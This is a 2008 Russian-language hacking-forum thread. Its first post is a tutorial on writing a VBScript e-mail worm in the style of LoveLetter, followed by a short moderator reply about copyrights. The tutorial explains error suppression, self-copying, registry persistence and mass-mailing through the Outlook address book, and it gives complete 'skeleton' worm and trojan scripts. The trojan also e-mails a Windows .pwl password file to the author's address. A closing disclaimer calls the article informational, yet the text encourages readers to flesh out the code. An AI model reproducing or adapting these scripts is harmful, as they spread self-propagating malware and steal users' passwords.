Перейти к содержимому

Фотография

Принцип действия Интернет червя

- - - - -

  • Авторизуйтесь для ответа в теме

#1
DJ FOTON

Отправлено 26 ���� 2008 - 04:33

DJ FOTON

    Начинающий

  • Пользователи
  • 69 сообщений
Начнем, как всегда с истории. Самым знаменитым и нашумевшим стал I-Worm.LoveLetter (классификация Kaspersky lab.), вызвавший массовое поражение компьютеров и сетей в начале мая 2000 года. Для своего запуска он использовал "дыру" в системе безопасности MS Windows, которая позволяла запускаться файлам с расширением .vbs, присоединенных к почтовому отправлению. Позже эта "дыра" была заделана, но сама идея написания E-mail worm на Windows Scripting Host (WSH) пришлась по душе virmaker'ам, тем более что глубоких знаний в программировании не требовалось. Достаточно было знать основы программирования на Visual Basic или другом объектно-ориентированном языке. Теперь немного о самом WSH. Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python. Как ни хороши скриптовые языки, много с ними не сотворишь. Они не способны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее. Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок. Option Explicit Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная в операторе Dim переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта. Теперь опишем третью и четвертую строки примера: Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла. Скопируем скрипт в c:\windows, для дальнейшего использования. File.Copy ("c:\windows\I_am_virus.vbs") Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения. Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") Теперь мы смело можем управлять захваченным компьютером. Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования. WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _ \CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs" Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов. И, наконец, мы переходим к "сердцу" каждого Internet–червя, процедуре рассылки. Создаем ссылку на объект самого распространенного почтового клиента Outlook. Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу. For Index = 1 To 50 Создадим новое почтовое сообщение Set OutMail = OutlookObject.CreateItem(0) В поле "Кому" занесем адрес из адресной книги OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) В поле "Тема" вставим тему сообщения OutMail.Subject = "Тема сообщения" Добавим текст сообщения OutMail.Body = "Тело сообщения" Прикрепим скрипт OutMail.Attachments.Add(File) И отправим его OutMail.Send Next Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи! Каркас E-mail worm On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(File) OutMail.Send Next Каркас "троянского коня" On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) File.Copy ("c:\windows\I_am_virus.vbs") Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _ CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs" Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(File) OutMail.Send Next Set OutMail = OutlookObject.CreateItem(0) OutMail.to = "Ваш E-mail" OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add("Путь к .pwl файлу") OutMail.Send P.S. Весь приведенный программный код не может быть использован для написания вирусов в чистом виде, так как данная статья была написана в ознакомительных целях. При написании, умышленно были использованы фрагменты программного кода, определяемые и блокируемые самыми распространенными антивирусными программами.

#2
+s.p.a.m.+

Отправлено 27 ���� 2008 - 09:32

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
В подфоруме СТАТЬИ пишем только свои статьи и незабываем про копирайты Статьи взятые с других форумов и к которым будут присвоены чюжие копирайты будут удаленны а автор наказан..